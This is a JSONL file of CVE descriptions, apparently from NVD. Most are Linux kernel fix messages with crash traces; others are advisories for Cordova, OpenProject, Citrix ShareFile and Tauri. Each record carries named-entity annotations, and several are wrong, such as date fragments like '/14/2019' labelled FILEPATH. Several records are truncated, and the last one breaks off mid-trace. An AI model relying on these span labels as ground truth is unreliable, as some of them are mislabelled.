{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ni40e: Fix kernel crash during module removal\n\nThe driver incorrectly frees client instance and subsequent\ni40e module removal leads to kernel crash.\n\nReproducer:\n1. Do ethtool offline test followed immediately by another one\nhost# ethtool -t eth0 offline; ethtool -t eth0 offline\n2. Remove recursively irdma module that also removes i40e module\nhost# modprobe -r irdma\n\nResult:\n[ 8675.035651] i40e 0000:3d:00.0 eno1: offline testing starting\n[ 8675.193774] i40e 0000:3d:00.0 eno1: testing finished\n[ 8675.201316] i40e 0000:3d:00.0 eno1: offline testing starting\n[ 8675.358921] i40e 0000:3d:00.0 eno1: testing finished\n[ 8675.496921] i40e 0000:3d:00.0: IRDMA hardware initialization FAILED init_state=2 status=-110\n[ 8686.188955] i40e 0000:3d:00.1: i40e_ptp_stop: removed PHC on eno2\n[ 8686.943890] i40e 0000:3d:00.1: Deleted LAN device PF1 bus=0x3d dev=0x00 func=0x01\n[ 8686.952669] i40e 0000:3d:00.0: i40e_ptp_stop: removed PHC on eno1\n[ 8687.761787] BUG: kernel NULL pointer dereference, address: 0000000000000030\n[ 8687.768755] #PF: supervisor read access in kernel mode\n[ 8687.773895] #PF: error_code(0x0000) - not-present page\n[ 8687.779034] PGD 0 P4D 0\n[ 8687.781575] Oops: 0000 [#1] PREEMPT SMP NOPTI\n[ 8687.785935] CPU: 51 PID: 172891 Comm: rmmod Kdump: loaded Tainted: G        W I        5.19.0+ #2\n[ 8687.794800] Hardware name: Intel Corporation S2600WFD/S2600WFD, BIOS SE5C620.86B.0X.02.0001.051420190324 05/14/2019\n[ 8687.805222] RIP: 0010:i40e_lan_del_device+0x13/0xb0 [i40e]\n[ 8687.810719] Code: d4 84 c0 0f 84 b8 25 01 00 e9 9c 25 01 00 41 bc f4 ff ff ff eb 91 90 0f 1f 44 00 00 41 54 55 53 48 8b 87 58 08 00 00 48 89 fb <48> 8b 68 30 48 89 ef e8 21 8a 0f d5 48 89 ef e8 a9 78 0f d5 48 8b\n[ 8687.829462] RSP: 0018:ffffa604072efce0 EFLAGS: 00010202\n[ 8687.834689] RAX: 0000000000000000 RBX: ffff8f43833b2000 RCX: 0000000000000000\n[ 8687.841821] RDX: 0000000000000000 RSI: ffff8f4b0545b298 RDI: ffff8f43833b2000\n[ 8687.848955] RBP: ffff8f43833b2000 R08: 0000000000000001 R09: 0000000000000000\n[ 8687.856086] R10: 0000000000000000 R11: 000ffffffffff000 R12: ffff8f43833b2ef0\n[ 8687.863218] R13: ffff8f43833b2ef0 R14: ffff915103966000 R15: ffff8f43833b2008\n[ 8687.870342] FS:  00007f79501c3740(0000) GS:ffff8f4adffc0000(0000) knlGS:0000000000000000\n[ 8687.878427] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[ 8687.884174] CR2: 0000000000000030 CR3: 000000014276e004 CR4: 00000000007706e0\n[ 8687.891306] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n[ 8687.898441] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n[ 8687.905572] PKRU: 55555554\n[ 8687.908286] Call Trace:\n[ 8687.910737]  <TASK>\n[ 8687.912843]  i40e_remove+0x2c0/0x330 [i40e]\n[ 8687.917040]  pci_device_remove+0x33/0xa0\n[ 8687.920962]  device_release_driver_internal+0x1aa/0x230\n[ 8687.926188]  driver_detach+0x44/0x90\n[ 8687.929770]  bus_remove_driver+0x55/0xe0\n[ 8687.933693]  pci_unregister_driver+0x2a/0xb0\n[ 8687.937967]  i40e_exit_module+0xc/0xf48 [i40e]\n\nTwo offline tests cause IRDMA driver failure (ETIMEDOUT) and this\nfailure is indicated back to i40e_client_subtask() that calls\ni40e_client_del_instance() to free client instance referenced\nby pf->cinst and sets this pointer to NULL. During the module\nremoval i40e_remove() calls i40e_lan_del_device() that dereferences\npf->cinst that is NULL -> crash.\nDo not remove client instance when client open callbacks fails and\njust clear __I40E_CLIENT_INSTANCE_OPENED bit. The driver also needs\nto take care about this situation (when netdev is up and client\nis NOT opened) in i40e_notify_client_of_netdev_close() and\ncalls client close callback only when __I40E_CLIENT_INSTANCE_OPENED\nis set.", "spans": {"FILEPATH: /14/2019": [[1488, 1496]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Intel": [[1408, 1413]], "VULNERABILITY: NULL pointer dereference": [[1033, 1057]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48688"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ncrypto: ccp - Fix null pointer dereference in __sev_snp_shutdown_locked\n\nFix a null pointer dereference induced by DEBUG_TEST_DRIVER_REMOVE.\nReturn from __sev_snp_shutdown_locked() if the psp_device or the\nsev_device structs are not initialized. Without the fix, the driver will\nproduce the following splat:\n\n   ccp 0000:55:00.5: enabling device (0000 -> 0002)\n   ccp 0000:55:00.5: sev enabled\n   ccp 0000:55:00.5: psp enabled\n   BUG: kernel NULL pointer dereference, address: 00000000000000f0\n   #PF: supervisor read access in kernel mode\n   #PF: error_code(0x0000) - not-present page\n   PGD 0 P4D 0\n   Oops: 0000 [#1] PREEMPT SMP DEBUG_PAGEALLOC NOPTI\n   CPU: 262 PID: 1 Comm: swapper/0 Not tainted 6.9.0-rc1+ #29\n   RIP: 0010:__sev_snp_shutdown_locked+0x2e/0x150\n   Code: 00 55 48 89 e5 41 57 41 56 41 54 53 48 83 ec 10 41 89 f7 49 89 fe 65 48 8b 04 25 28 00 00 00 48 89 45 d8 48 8b 05 6a 5a 7f 06 <4c> 8b a0 f0 00 00 00 41 0f b6 9c 24 a2 00 00 00 48 83 fb 02 0f 83\n   RSP: 0018:ffffb2ea4014b7b8 EFLAGS: 00010286\n   RAX: 0000000000000000 RBX: ffff9e4acd2e0a28 RCX: 0000000000000000\n   RDX: 0000000000000000 RSI: 0000000000000000 RDI: ffffb2ea4014b808\n   RBP: ffffb2ea4014b7e8 R08: 0000000000000106 R09: 000000000003d9c0\n   R10: 0000000000000001 R11: ffffffffa39ff070 R12: ffff9e49d40590c8\n   R13: 0000000000000000 R14: ffffb2ea4014b808 R15: 0000000000000000\n   FS:  0000000000000000(0000) GS:ffff9e58b1e00000(0000) knlGS:0000000000000000\n   CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n   CR2: 00000000000000f0 CR3: 0000000418a3e001 CR4: 0000000000770ef0\n   PKRU: 55555554\n   Call Trace:\n    <TASK>\n    ? __die_body+0x6f/0xb0\n    ? __die+0xcc/0xf0\n    ? page_fault_oops+0x330/0x3a0\n    ? save_trace+0x2a5/0x360\n    ? do_user_addr_fault+0x583/0x630\n    ? exc_page_fault+0x81/0x120\n    ? asm_exc_page_fault+0x2b/0x30\n    ? __sev_snp_shutdown_locked+0x2e/0x150\n    __sev_firmware_shutdown+0x349/0x5b0\n    ? pm_runtime_barrier+0x66/0xe0\n    sev_dev_destroy+0x34/0xb0\n    psp_dev_destroy+0x27/0x60\n    sp_destroy+0x39/0x90\n    sp_pci_remove+0x22/0x60\n    pci_device_remove+0x4e/0x110\n    really_probe+0x271/0x4e0\n    __driver_probe_device+0x8f/0x160\n    driver_probe_device+0x24/0x120\n    __driver_attach+0xc7/0x280\n    ? driver_attach+0x30/0x30\n    bus_for_each_dev+0x10d/0x130\n    driver_attach+0x22/0x30\n    bus_add_driver+0x171/0x2b0\n    ? unaccepted_memory_init_kdump+0x20/0x20\n    driver_register+0x67/0x100\n    __pci_register_driver+0x83/0x90\n    sp_pci_init+0x22/0x30\n    sp_mod_init+0x13/0x30\n    do_one_initcall+0xb8/0x290\n    ? sched_clock_noinstr+0xd/0x10\n    ? local_clock_noinstr+0x3e/0x100\n    ? stack_depot_save_flags+0x21e/0x6a0\n    ? local_clock+0x1c/0x60\n    ? stack_depot_save_flags+0x21e/0x6a0\n    ? sched_clock_noinstr+0xd/0x10\n    ? local_clock_noinstr+0x3e/0x100\n    ? __lock_acquire+0xd90/0xe30\n    ? sched_clock_noinstr+0xd/0x10\n    ? local_clock_noinstr+0x3e/0x100\n    ? __create_object+0x66/0x100\n    ? local_clock+0x1c/0x60\n    ? __create_object+0x66/0x100\n    ? parameq+0x1b/0x90\n    ? parse_one+0x6d/0x1d0\n    ? parse_args+0xd7/0x1f0\n    ? do_initcall_level+0x180/0x180\n    do_initcall_level+0xb0/0x180\n    do_initcalls+0x60/0xa0\n    ? kernel_init+0x1f/0x1d0\n    do_basic_setup+0x41/0x50\n    kernel_init_freeable+0x1ac/0x230\n    ? rest_init+0x1f0/0x1f0\n    kernel_init+0x1f/0x1d0\n    ? rest_init+0x1f0/0x1f0\n    ret_from_fork+0x3d/0x50\n    ? rest_init+0x1f0/0x1f0\n    ret_from_fork_asm+0x11/0x20\n    </TASK>\n   Modules linked in:\n   CR2: 00000000000000f0\n   ---[ end trace 0000000000000000 ]---\n   RIP: 0010:__sev_snp_shutdown_locked+0x2e/0x150\n   Code: 00 55 48 89 e5 41 57 41 56 41 54 53 48 83 ec 10 41 89 f7 49 89 fe 65 48 8b 04 25 28 00 00 00 48 89 45 d8 48 8b 05 6a 5a 7f 06 <4c> 8b a0 f0 00 00 00 41 0f b6 9c 24 a2 00 00 00 48 83 fb 02 0f 83\n   RSP: 0018:ffffb2ea4014b7b8 EFLAGS: 00010286\n   RAX: 0000000000000000 RBX: ffff9e4acd2e0a28 RCX: 0000000000000000\n   RDX: 0000000\n---truncated---", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: null pointer dereference": [[87, 111], [148, 172]], "VULNERABILITY: NULL pointer dereference": [[511, 535]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-43874"}}
{"text": "cordova-plugin-fingerprint-aio is a plugin provides a single and simple interface for accessing fingerprint APIs on both Android 6+ and iOS. In versions prior to 5.0.1 The exported activity `de.niklasmerz.cordova.biometric.BiometricActivity` can cause the app to crash. This vulnerability occurred because the activity didn't handle the case where it is requested with invalid or empty data which results in a crash. Any third party app can constantly call this activity with no permission. A 3rd party app/attacker using event listener can continually stop the app from working and make the victim unable to open it. Version 5.0.1 of the cordova-plugin-fingerprint-aio doesn't export the activity anymore and is no longer vulnerable. If you want to fix older versions change the attribute android:exported in plugin.xml to false. Please upgrade to version 5.0.1 as soon as possible.", "spans": {"FILEPATH: plugin.xml": [[810, 820]], "SYSTEM: Android": [[121, 128]], "SYSTEM: iOS": [[136, 139]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-43849"}}
{"text": "OpenProject is an open-source, web-based project management software. In the new editor for collaborative documents based on BlockNote, OpenProject maintainers added a custom extension in OpenProject version 17.0.0 that allows to mention OpenProject work packages in the document. To show work package details, the editor loads details about the work package via the OpenProject API. For this API call, the extension to the BlockNote editor did not properly validate the given work package ID to be only a number. This allowed an attacker to generate a document with relative links that upon opening could make arbitrary `GET` requests to any URL within the OpenProject instance. This issue was patched in version version 0.0.22 of op-blocknote-extensions, which was shipped with OpenProject 17.0.2. If users cannot update immediately to version 17.0.2 of OpenProject, administrators can disable collaborative document editing in Settings -> Documents -> Real time collaboration -> Disable.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-24775"}}
{"text": "An unauthenticated arbitrary file read issue exists in all versions of Citrix ShareFile StorageZones (aka storage zones) Controller, including the most recent 5.10.x releases as of May 2020. RCE and file access is granted to everything hosted by ShareFile, be it on-premise or inside Citrix Cloud itself (both are internet facing). NOTE: unlike most CVEs, exploitability depends on the product version that was in use when a particular setup step was performed, NOT the product version that is in use during a current assessment of a CVE consumer's product inventory. Specifically, the vulnerability can be exploited if a storage zone was created by one of these product versions: 5.9.0, 5.8.0, 5.7.0, 5.6.0, 5.5.0, or earlier. This CVE differs from CVE-2020-7473 and CVE-2020-8983.", "spans": {"CVE_ID: CVE-2020-7473": [[750, 763]], "CVE_ID: CVE-2020-8983": [[768, 781]], "ORGANIZATION: Citrix": [[71, 77], [284, 290]], "VULNERABILITY: arbitrary file read": [[19, 38]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-8982"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nRevert \"IB/isert: Fix incorrect release of isert connection\"\n\nCommit: 699826f4e30a (\"IB/isert: Fix incorrect release of isert connection\") is\ncausing problems on OPA when DEVICE_REMOVAL is happening.\n\n ------------[ cut here ]------------\n WARNING: CPU: 52 PID: 2117247 at drivers/infiniband/core/cq.c:359\nib_cq_pool_cleanup+0xac/0xb0 [ib_core]\n Modules linked in: nfsd nfs_acl target_core_user uio tcm_fc libfc\nscsi_transport_fc tcm_loop target_core_pscsi target_core_iblock target_core_file\nrpcsec_gss_krb5 auth_rpcgss nfsv4 dns_resolver nfs lockd grace fscache netfs\nrfkill rpcrdma rdma_ucm ib_srpt sunrpc ib_isert iscsi_target_mod target_core_mod\nopa_vnic ib_iser libiscsi ib_umad scsi_transport_iscsi rdma_cm ib_ipoib iw_cm\nib_cm hfi1(-) rdmavt ib_uverbs intel_rapl_msr intel_rapl_common sb_edac ib_core\nx86_pkg_temp_thermal intel_powerclamp coretemp i2c_i801 mxm_wmi rapl iTCO_wdt\nipmi_si iTCO_vendor_support mei_me ipmi_devintf mei intel_cstate ioatdma\nintel_uncore i2c_smbus joydev pcspkr lpc_ich ipmi_msghandler acpi_power_meter\nacpi_pad xfs libcrc32c sr_mod sd_mod cdrom t10_pi sg crct10dif_pclmul\ncrc32_pclmul crc32c_intel drm_kms_helper drm_shmem_helper ahci libahci\nghash_clmulni_intel igb drm libata dca i2c_algo_bit wmi fuse\n CPU: 52 PID: 2117247 Comm: modprobe Not tainted 6.5.0-rc1+ #1\n Hardware name: Intel Corporation S2600CWR/S2600CW, BIOS\nSE5C610.86B.01.01.0014.121820151719 12/18/2015\n RIP: 0010:ib_cq_pool_cleanup+0xac/0xb0 [ib_core]\n Code: ff 48 8b 43 40 48 8d 7b 40 48 83 e8 40 4c 39 e7 75 b3 49 83\nc4 10 4d 39 fc 75 94 5b 5d 41 5c 41 5d 41 5e 41 5f c3 cc cc cc cc <0f> 0b eb a1\n90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 0f 1f\n RSP: 0018:ffffc10bea13fc80 EFLAGS: 00010206\n RAX: 000000000000010c RBX: ffff9bf5c7e66c00 RCX: 000000008020001d\n RDX: 000000008020001e RSI: fffff175221f9900 RDI: ffff9bf5c7e67640\n RBP: ffff9bf5c7e67600 R08: ffff9bf5c7e64400 R09: 000000008020001d\n R10: 0000000040000000 R11: 0000000000000000 R12: ffff9bee4b1e8a18\n R13: dead000000000122 R14: dead000000000100 R15: ffff9bee4b1e8a38\n FS:  00007ff1e6d38740(0000) GS:ffff9bfd9fb00000(0000) knlGS:0000000000000000\n CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n CR2: 00005652044ecc68 CR3: 0000000889b5c005 CR4: 00000000001706e0\n Call Trace:\n  <TASK>\n  ? __warn+0x80/0x130\n  ? ib_cq_pool_cleanup+0xac/0xb0 [ib_core]\n  ? report_bug+0x195/0x1a0\n  ? handle_bug+0x3c/0x70\n  ? exc_invalid_op+0x14/0x70\n  ? asm_exc_invalid_op+0x16/0x20\n  ? ib_cq_pool_cleanup+0xac/0xb0 [ib_core]\n  disable_device+0x9d/0x160 [ib_core]\n  __ib_unregister_device+0x42/0xb0 [ib_core]\n  ib_unregister_device+0x22/0x30 [ib_core]\n  rvt_unregister_device+0x20/0x90 [rdmavt]\n  hfi1_unregister_ib_device+0x16/0xf0 [hfi1]\n  remove_one+0x55/0x1a0 [hfi1]\n  pci_device_remove+0x36/0xa0\n  device_release_driver_internal+0x193/0x200\n  driver_detach+0x44/0x90\n  bus_remove_driver+0x69/0xf0\n  pci_unregister_driver+0x2a/0xb0\n  hfi1_mod_cleanup+0xc/0x3c [hfi1]\n  __do_sys_delete_module.constprop.0+0x17a/0x2f0\n  ? exit_to_user_mode_prepare+0xc4/0xd0\n  ? syscall_trace_enter.constprop.0+0x126/0x1a0\n  do_syscall_64+0x5c/0x90\n  ? syscall_exit_to_user_mode+0x12/0x30\n  ? do_syscall_64+0x69/0x90\n  ? syscall_exit_work+0x103/0x130\n  ? syscall_exit_to_user_mode+0x12/0x30\n  ? do_syscall_64+0x69/0x90\n  ? exc_page_fault+0x65/0x150\n  entry_SYSCALL_64_after_hwframe+0x6e/0xd8\n RIP: 0033:0x7ff1e643f5ab\n Code: 73 01 c3 48 8b 0d 75 a8 1b 00 f7 d8 64 89 01 48 83 c8 ff c3\n66 2e 0f 1f 84 00 00 00 00 00 90 f3 0f 1e fa b8 b0 00 00 00 0f 05 <48> 3d 01 f0\nff ff 73 01 c3 48 8b 0d 45 a8 1b 00 f7 d8 64 89 01 48\n RSP: 002b:00007ffec9103cc8 EFLAGS: 00000206 ORIG_RAX: 00000000000000b0\n RAX: ffffffffffffffda RBX: 00005615267fdc50 RCX: 00007ff1e643f5ab\n RDX: 0000000000000000 RSI: 0000000000000800 RDI: 00005615267fdcb8\n RBP: 00005615267fdc50 R08: 0000000000000000 R09: 0000000000000000\n R10: 00007ff1e659eac0 R11: 0000000000000206 R12: 00005615267fdcb8\n R13: 00000000000\n---truncated---", "spans": {"FILEPATH: /infiniband/core/cq.c": [[349, 370]], "FILEPATH: /18/2015": [[1467, 1475]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Intel": [[1388, 1393]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-54219"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nplatform/x86: x86-android-tablets: Unregister devices in reverse order\n\nNot all subsystems support a device getting removed while there are\nstill consumers of the device with a reference to the device.\n\nOne example of this is the regulator subsystem. If a regulator gets\nunregistered while there are still drivers holding a reference\na WARN() at drivers/regulator/core.c:5829 triggers, e.g.:\n\n WARNING: CPU: 1 PID: 1587 at drivers/regulator/core.c:5829 regulator_unregister\n Hardware name: Intel Corp. VALLEYVIEW C0 PLATFORM/BYT-T FFD8, BIOS BLADE_21.X64.0005.R00.1504101516 FFD8_X64_R_2015_04_10_1516 04/10/2015\n RIP: 0010:regulator_unregister\n Call Trace:\n  <TASK>\n  regulator_unregister\n  devres_release_group\n  i2c_device_remove\n  device_release_driver_internal\n  bus_remove_device\n  device_del\n  device_unregister\n  x86_android_tablet_remove\n\nOn the Lenovo Yoga Tablet 2 series the bq24190 charger chip also provides\na 5V boost converter output for powering USB devices connected to the micro\nUSB port, the bq24190-charger driver exports this as a Vbus regulator.\n\nOn the 830 (8\") and 1050 (\"10\") models this regulator is controlled by\na platform_device and x86_android_tablet_remove() removes platform_device-s\nbefore i2c_clients so the consumer gets removed first.\n\nBut on the 1380 (13\") model there is a lc824206xa micro-USB switch\nconnected over I2C and the extcon driver for that controls the regulator.\nThe bq24190 i2c-client *must* be registered first, because that creates\nthe regulator with the lc824206xa listed as its consumer. If the regulator\nhas not been registered yet the lc824206xa driver will end up getting\na dummy regulator.\n\nSince in this case both the regulator provider and consumer are I2C\ndevices, the only way to ensure that the consumer is unregistered first\nis to unregister the I2C devices in reverse order of in which they were\ncreated.\n\nFor consistency and to avoid similar problems in the future change\nx86_android_tablet_remove() to unregister all device types in reverse\norder.", "spans": {"FILEPATH: /regulator/core.c": [[422, 439], [499, 516]], "FILEPATH: /10/2015": [[673, 681]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Lenovo": [[924, 930]], "ORGANIZATION: Intel": [[559, 564]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-40975"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm/secretmem: fix NULL page->mapping dereference in page_is_secretmem()\n\nCheck for a NULL page->mapping before dereferencing the mapping in\npage_is_secretmem(), as the page's mapping can be nullified while gup()\nis running, e.g.  by reclaim or truncation.\n\n  BUG: kernel NULL pointer dereference, address: 0000000000000068\n  #PF: supervisor read access in kernel mode\n  #PF: error_code(0x0000) - not-present page\n  PGD 0 P4D 0\n  Oops: 0000 [#1] PREEMPT SMP NOPTI\n  CPU: 6 PID: 4173897 Comm: CPU 3/KVM Tainted: G        W\n  RIP: 0010:internal_get_user_pages_fast+0x621/0x9d0\n  Code: <48> 81 7a 68 80 08 04 bc 0f 85 21 ff ff 8 89 c7 be\n  RSP: 0018:ffffaa90087679b0 EFLAGS: 00010046\n  RAX: ffffe3f37905b900 RBX: 00007f2dd561e000 RCX: ffffe3f37905b934\n  RDX: 0000000000000000 RSI: 0000000000000000 RDI: ffffe3f37905b900\n  ...\n  CR2: 0000000000000068 CR3: 00000004c5898003 CR4: 00000000001726e0\n  Call Trace:\n   get_user_pages_fast_only+0x13/0x20\n   hva_to_pfn+0xa9/0x3e0\n   try_async_pf+0xa1/0x270\n   direct_page_fault+0x113/0xad0\n   kvm_mmu_page_fault+0x69/0x680\n   vmx_handle_exit+0xe1/0x5d0\n   kvm_arch_vcpu_ioctl_run+0xd81/0x1c70\n   kvm_vcpu_ioctl+0x267/0x670\n   __x64_sys_ioctl+0x83/0xa0\n   do_syscall_64+0x56/0x80\n   entry_SYSCALL_64_after_hwframe+0x44/0xae", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: KVM": [[566, 569]], "VULNERABILITY: NULL pointer dereference": [[340, 364]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47463"}}
{"text": "Tauri is a framework for building binaries for all major desktop platforms. This advisory is not describing a vulnerability in the Tauri code base itself but a commonly used misconfiguration which could lead to leaking of the private key and updater key password into bundled Tauri applications using the Vite frontend in a specific configuration. The Tauri documentation used an insecure example configuration in the `Vite guide` to showcase how to use Tauri together with Vite.  Copying the following snippet `envPrefix: ['VITE_', 'TAURI_'],` from this guide into the `vite.config.ts` of a Tauri project leads to bundling the `TAURI_PRIVATE_KEY` and `TAURI_KEY_PASSWORD` into the Vite frontend code and therefore leaking this value to the released Tauri application. Using the `envPrefix: ['VITE_'],` or any other framework than Vite means you are not impacted by this advisory. Users are advised to rotate their updater private key if they are affected by this (requires Tauri CLI >=1.5.5). After updating the envPrefix configuration, generate a new private key with `tauri signer generate`, saving the new private key and updating the updater's `pubkey` value on `tauri.conf.json` with the new public key. To update your existing application, the next application build must be signed with the older private key in order to be accepted by the existing application.", "spans": {"FILEPATH: tauri.conf": [[1168, 1178]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-46115"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfsd: clear acl_access/acl_default after releasing them\n\nIf getting acl_default fails, acl_access and acl_default will be released\nsimultaneously. However, acl_access will still retain a pointer pointing\nto the released posix_acl, which will trigger a WARNING in\nnfs3svc_release_getacl like this:\n\n------------[ cut here ]------------\nrefcount_t: underflow; use-after-free.\nWARNING: CPU: 26 PID: 3199 at lib/refcount.c:28\nrefcount_warn_saturate+0xb5/0x170\nModules linked in:\nCPU: 26 UID: 0 PID: 3199 Comm: nfsd Not tainted\n6.12.0-rc6-00079-g04ae226af01f-dirty #8\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS\n1.16.1-2.fc37 04/01/2014\nRIP: 0010:refcount_warn_saturate+0xb5/0x170\nCode: cc cc 0f b6 1d b3 20 a5 03 80 fb 01 0f 87 65 48 d8 00 83 e3 01 75\ne4 48 c7 c7 c0 3b 9b 85 c6 05 97 20 a5 03 01 e8 fb 3e 30 ff <0f> 0b eb\ncd 0f b6 1d 8a3\nRSP: 0018:ffffc90008637cd8 EFLAGS: 00010282\nRAX: 0000000000000000 RBX: 0000000000000000 RCX: ffffffff83904fde\nRDX: dffffc0000000000 RSI: 0000000000000008 RDI: ffff88871ed36380\nRBP: ffff888158beeb40 R08: 0000000000000001 R09: fffff520010c6f56\nR10: ffffc90008637ab7 R11: 0000000000000001 R12: 0000000000000001\nR13: ffff888140e77400 R14: ffff888140e77408 R15: ffffffff858b42c0\nFS:  0000000000000000(0000) GS:ffff88871ed00000(0000)\nknlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 0000562384d32158 CR3: 000000055cc6a000 CR4: 00000000000006f0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n <TASK>\n ? refcount_warn_saturate+0xb5/0x170\n ? __warn+0xa5/0x140\n ? refcount_warn_saturate+0xb5/0x170\n ? report_bug+0x1b1/0x1e0\n ? handle_bug+0x53/0xa0\n ? exc_invalid_op+0x17/0x40\n ? asm_exc_invalid_op+0x1a/0x20\n ? tick_nohz_tick_stopped+0x1e/0x40\n ? refcount_warn_saturate+0xb5/0x170\n ? refcount_warn_saturate+0xb5/0x170\n nfs3svc_release_getacl+0xc9/0xe0\n svc_process_common+0x5db/0xb60\n ? __pfx_svc_process_common+0x10/0x10\n ? __rcu_read_unlock+0x69/0xa0\n ? __pfx_nfsd_dispatch+0x10/0x10\n ? svc_xprt_received+0xa1/0x120\n ? xdr_init_decode+0x11d/0x190\n svc_process+0x2a7/0x330\n svc_handle_xprt+0x69d/0x940\n svc_recv+0x180/0x2d0\n nfsd+0x168/0x200\n ? __pfx_nfsd+0x10/0x10\n kthread+0x1a2/0x1e0\n ? kthread+0xf4/0x1e0\n ? __pfx_kthread+0x10/0x10\n ret_from_fork+0x34/0x60\n ? __pfx_kthread+0x10/0x10\n ret_from_fork_asm+0x1a/0x30\n </TASK>\nKernel panic - not syncing: kernel: panic_on_warn set ...\n\nClear acl_access/acl_default after posix_acl_release is called to prevent\nUAF from being triggered.", "spans": {"FILEPATH: /01/2014": [[708, 716]], "FILEPATH: refcount.c": [[477, 487]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[647, 651]], "VULNERABILITY: use-after-free": [[427, 441]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-21796"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: vfs: fix race on m_flags in vfs_cache\n\nksmbd maintains delete-on-close and pending-delete state in\nksmbd_inode->m_flags. In vfs_cache.c this field is accessed under\ninconsistent locking: some paths read and modify m_flags under\nci->m_lock while others do so without taking the lock at all.\n\nExamples:\n\n - ksmbd_query_inode_status() and __ksmbd_inode_close() use\n   ci->m_lock when checking or updating m_flags.\n - ksmbd_inode_pending_delete(), ksmbd_set_inode_pending_delete(),\n   ksmbd_clear_inode_pending_delete() and ksmbd_fd_set_delete_on_close()\n   used to read and modify m_flags without ci->m_lock.\n\nThis creates a potential data race on m_flags when multiple threads\nopen, close and delete the same file concurrently. In the worst case\ndelete-on-close and pending-delete bits can be lost or observed in an\ninconsistent state, leading to confusing delete semantics (files that\nstay on disk after delete-on-close, or files that disappear while still\nin use).\n\nFix it by:\n\n - Making ksmbd_query_inode_status() look at m_flags under ci->m_lock\n   after dropping inode_hash_lock.\n - Adding ci->m_lock protection to all helpers that read or modify\n   m_flags (ksmbd_inode_pending_delete(), ksmbd_set_inode_pending_delete(),\n   ksmbd_clear_inode_pending_delete(), ksmbd_fd_set_delete_on_close()).\n - Keeping the existing ci->m_lock protection in __ksmbd_inode_close(),\n   and moving the actual unlink/xattr removal outside the lock.\n\nThis unifies the locking around m_flags and removes the data race while\npreserving the existing delete-on-close behaviour.", "spans": {"FILEPATH: vfs_cache.c": [[200, 211]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-68809"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: fix net_dev_start_xmit trace event vs skb_transport_offset()\n\nAfter blamed commit, we must be more careful about using\nskb_transport_offset(), as reminded us by syzbot:\n\nWARNING: CPU: 0 PID: 10 at include/linux/skbuff.h:2868 skb_transport_offset include/linux/skbuff.h:2977 [inline]\nWARNING: CPU: 0 PID: 10 at include/linux/skbuff.h:2868 perf_trace_net_dev_start_xmit+0x89a/0xce0 include/trace/events/net.h:14\nModules linked in:\nCPU: 0 PID: 10 Comm: kworker/u4:1 Not tainted 6.1.30-syzkaller #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 05/27/2023\nWorkqueue: bat_events batadv_iv_send_outstanding_bat_ogm_packet\nRIP: 0010:skb_transport_header include/linux/skbuff.h:2868 [inline]\nRIP: 0010:skb_transport_offset include/linux/skbuff.h:2977 [inline]\nRIP: 0010:perf_trace_net_dev_start_xmit+0x89a/0xce0 include/trace/events/net.h:14\nCode: 8b 04 25 28 00 00 00 48 3b 84 24 c0 00 00 00 0f 85 4e 04 00 00 48 8d 65 d8 5b 41 5c 41 5d 41 5e 41 5f 5d c3 cc e8 56 22 01 fd <0f> 0b e9 f6 fc ff ff 89 f9 80 e1 07 80 c1 03 38 c1 0f 8c 86 f9 ff\nRSP: 0018:ffffc900002bf700 EFLAGS: 00010293\nRAX: ffffffff8485d8ca RBX: 000000000000ffff RCX: ffff888100914280\nRDX: 0000000000000000 RSI: 000000000000ffff RDI: 000000000000ffff\nRBP: ffffc900002bf818 R08: ffffffff8485d5b6 R09: fffffbfff0f8fb5e\nR10: 0000000000000000 R11: dffffc0000000001 R12: 1ffff110217d8f67\nR13: ffff88810bec7b3a R14: dffffc0000000000 R15: dffffc0000000000\nFS: 0000000000000000(0000) GS:ffff8881f6a00000(0000) knlGS:0000000000000000\nCS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007f96cf6d52f0 CR3: 000000012224c000 CR4: 0000000000350ef0\nCall Trace:\n<TASK>\n[<ffffffff84715e35>] trace_net_dev_start_xmit include/trace/events/net.h:14 [inline]\n[<ffffffff84715e35>] xmit_one net/core/dev.c:3643 [inline]\n[<ffffffff84715e35>] dev_hard_start_xmit+0x705/0x980 net/core/dev.c:3660\n[<ffffffff8471a232>] 